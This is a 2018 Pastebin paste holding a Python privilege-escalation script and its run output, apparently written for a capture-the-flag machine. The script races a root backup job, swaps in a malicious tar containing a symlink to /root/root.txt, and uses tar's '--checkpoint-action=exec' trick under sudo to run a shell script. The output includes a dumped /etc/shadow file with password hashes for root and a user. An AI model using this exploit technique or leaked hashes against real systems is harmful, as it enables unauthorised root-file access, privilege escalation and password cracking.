Advertisement
Guest User

Untitled

a guest
Oct 20th, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.06 KB | None | 0 0
  1. 2018-10-20 20:11:34 (1.22 MB/s) - 'pr.py' saved [4069/4069]
  2.  
  3. tar: =: Cannot stat: No such file or directory
  4. tar: 1: Cannot stat: No such file or directory
  5. tar: Exiting with failure status due to previous errors
  6. md5sum: /var/tmp/.c82fe9f2b8bea98f63082f9a9b93126622ce9225: No such file or directory
  7. started right
  8. we made boobies.txt
  9. at: 2018-10-20 20:11:34.197073
  10.  
  11. file: maltar.tar
  12. created at: 2018-10-20 20:11:37.696956
  13.  
  14. is there boobie.txt?
  15.  
  16. looking for backuperer at: 2018-10-20 20:11:37.701836
  17. backuperer ran at: 2018-10-20 20:14:36.403676
  18.  
  19. looking for tar at: 2018-10-20 20:14:36.403755
  20. tar ran at: 2018-10-20 20:14:36.430376
  21.  
  22. looking for sleep at: 2018-10-20 20:14:36.430466
  23. sleep ran at: 2018-10-20 20:14:36.584684
  24.  
  25. waiting 15 sec start now: 2018-10-20 20:14:36.585087
  26. has it been 5 seconds?2018-10-20 20:14:51.599604
  27.  
  28. lets find that tmpfile name
  29. .c82fe9f2b8bea98f63082f9a9b93126622ce9225
  30. is the tmpfile name
  31. found at: 2018-10-20 20:14:51.610177
  32.  
  33. looking for diff at: 2018-10-20 20:14:51.610313
  34. diff ran at: 2018-10-20 20:15:10.440292
  35.  
  36.  
  37. hash for legit tar: 8cf02df8336fac53023e2228bde190e8 /var/tmp/.c82fe9f2b8bea98f63082f9a9b93126622ce9225
  38.  
  39.  
  40. makin copies of .c82fe9f2b8bea98f63082f9a9b93126622ce9225
  41. at: 2018-10-20 20:15:10.440399
  42. new tar hash:
  43.  
  44. hash should be near /
  45.  
  46. < <!--Carry on, nothing to see here :D-->
  47. >
  48. > root:$6$AKRzYZby$Q88P1RTNm6Ho39GencM8qFL8hkhF0GmIhYAdxlIuHVv50BTTXvIH2rzgWOCkZOQDSuWo6gWQ2gXoePj8Rwthm0:17582:0:99999:7:::
  49. > daemon:*:17379:0:99999:7:::
  50. > bin:*:17379:0:99999:7:::
  51. > sys:*:17379:0:99999:7:::
  52. > sync:*:17379:0:99999:7:::
  53. > games:*:17379:0:99999:7:::
  54. > man:*:17379:0:99999:7:::
  55. > lp:*:17379:0:99999:7:::
  56. > mail:*:17379:0:99999:7:::
  57. > news:*:17379:0:99999:7:::
  58. > uucp:*:17379:0:99999:7:::
  59. > proxy:*:17379:0:99999:7:::
  60. > www-data:*:17379:0:99999:7:::
  61. > backup:*:17379:0:99999:7:::
  62. > list:*:17379:0:99999:7:::
  63. > irc:*:17379:0:99999:7:::
  64. > gnats:*:17379:0:99999:7:::
  65. > nobody:*:17379:0:99999:7:::
  66. > systemd-timesync:*:17379:0:99999:7:::
  67. > systemd-network:*:17379:0:99999:7:::
  68. > systemd-resolve:*:17379:0:99999:7:::
  69. > systemd-bus-proxy:*:17379:0:99999:7:::
  70. > syslog:*:17379:0:99999:7:::
  71. > _apt:*:17379:0:99999:7:::
  72. > lxd:*:17571:0:99999:7:::
  73. > mysql:!:17571:0:99999:7:::
  74. > messagebus:*:17571:0:99999:7:::
  75. > uuidd:*:17571:0:99999:7:::
  76. > dnsmasq:*:17571:0:99999:7:::
  77. > sshd:*:17571:0:99999:7:::
  78. > onuma:$6$P9azUgRM$U9lw7gpIvIVv1UK9zzzakd9mVwNeusjtWvYfHpS5qcMqLqoa9O3c1iARol1h7Aa8Tqroif.jtKxrLX5XOf/9c0:17571:0:99999:7:::
  79.  
  80.  
  81. Thanks again man... full script below..
  82.  
  83. #!/usr/bin/env python
  84. from os import system
  85. import datetime
  86. import os
  87. import subprocess
  88. import time
  89. count = 0
  90. global process_name
  91. process_name = "backuperer"
  92. global tarunnin
  93. tarunnin = "tar"
  94. global sleepyet
  95. sleepyet = "sleep"
  96. global wtdiff
  97. wtdiff = "diff"
  98. global maltar
  99. maltar = "maltar.tar"
  100. #def cleanup():
  101. # tmp = os.popen("rm maltar.tar shell.sh")
  102. # print "clean slate bitches"
  103. # return
  104.  
  105. def create_simlink():
  106. simlinktest = os.popen("ln -s /root/root.txt /var/www/html/boobies.txt").read()
  107. simthere = os.popen("ls -a /var/www/html/ | grep -E 'boobies.txt'").read()
  108. print ("we made " + str(simthere) + " at: " + str(datetime.datetime.now()))
  109. print ""
  110. return
  111.  
  112. def create_mal_tar():# error here somewhere, zcvfP ??
  113. tmp = os.popen("tar zvcPf " + maltar + " /var/www/html/").read()
  114. tmpchk = os.popen("ls -a " + str(maltar)).read()
  115. print ("file: " + str(tmpchk) + " created at: " + str(datetime.datetime.now()))
  116. print ""
  117. return
  118.  
  119. def rm_simlink():
  120. tmp = os.popen("rm /var/www/html/boobies.txt").read()
  121. tmpchk = os.popen("ls /var/www/html/ |grep boob*").read()
  122. print ("is there boobie.txt? " + str(tmpchk))
  123. print ""
  124. return
  125.  
  126. def check_process(prcssname):
  127. print ("looking for " + prcssname + " at: " + str(datetime.datetime.now()))
  128. while True:
  129. tmp = os.popen("ps -e").read()
  130. if prcssname not in tmp[:]:
  131. continue
  132. else:
  133. dttime = datetime.datetime.now()
  134. print (prcssname + " ran at: " + str(dttime))
  135. print ""
  136. break
  137. return
  138.  
  139. def check_for_tmpfile():
  140. print "lets find that tmpfile name"
  141. while True:
  142. global tmpfile
  143. tmpfile = os.popen("ls -a /var/tmp |grep -E '[.]\w{10,}'").read()
  144. if tmpfile == "":
  145. continue #keep tryin
  146. else:
  147. dttime = datetime.datetime.now()
  148. print (tmpfile + " is the tmpfile name")
  149. print ("found at: " + str(dttime))
  150. print ""
  151. break
  152. return
  153.  
  154. def tmpfile_check():
  155. print ("tmpfile variable really global? " + str(tmpfile))
  156. print ""
  157. return
  158.  
  159. def makin_copies(newtar):
  160. dttime = datetime.datetime.now()
  161. tmphash = os.popen("md5sum /var/tmp/" + str(tmpfile)).read()
  162. print ""
  163. print ("hash for legit tar: " + str(tmphash))
  164. print ""
  165. tmp = "#!/bin/bash"
  166. print ("makin copies of " + str(newtar) + " at: " + str(dttime))
  167. tmpsh = os.popen("echo '" + str(tmp) + "' >> shell.sh").read()
  168. tmpsh = os.popen("echo 'cp " + maltar + " /var/tmp/" + tmpfile + "' >> shell.sh").read()
  169. tmpsh = os.popen("chmod +x ./shell.sh").read()
  170. tmpsh = os.popen("sudo -u onuma tar cf /tmp/archive.tar --checkpoint = 1 --checkpoint-action=exec=sh shell.sh").read()
  171. tmphash = os.popen("md5sum /var/tmp/" + str(tmpfile)).read()
  172. print ("new tar hash: " + str(tmphash))
  173. print ""
  174. return
  175.  
  176. def sleep_a_sec():
  177. dttime = datetime.datetime.now()
  178. print ("waiting 15 sec start now: " + str(dttime))
  179. time.sleep(15)
  180. dttime = datetime.datetime.now()
  181. print ("has it been 5 seconds?" + str(dttime))
  182. print ""
  183. return
  184.  
  185. def cat_log():
  186. #tmp = os.popen("cat /var/backups/onuma_backup_error.txt |grep boobies.txt").read()
  187. tmp = os.popen("tail -n 50 /var/backups/onuma_backup_error.txt | grep \>").read()
  188. print "hash should be near /"
  189. print ""
  190. print str(tmp)
  191. exit
  192.  
  193. #cleanup()
  194. startshitright = os.popen("rmdir /var/tmp/.b && mkdir /var/tmp/.b && cd /var/tmp/.b").read()
  195. print "started right"
  196. create_simlink()
  197.  
  198. create_mal_tar()
  199.  
  200. rm_simlink()
  201.  
  202. check_process(process_name)
  203.  
  204. check_process(tarunnin)
  205.  
  206. check_process(sleepyet)
  207.  
  208. sleep_a_sec()
  209.  
  210. check_for_tmpfile()
  211.  
  212. #makin_copies(tmpfile)
  213. check_process(wtdiff)
  214.  
  215. #time.sleep(25)
  216. makin_copies(tmpfile)
  217. cat_log()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement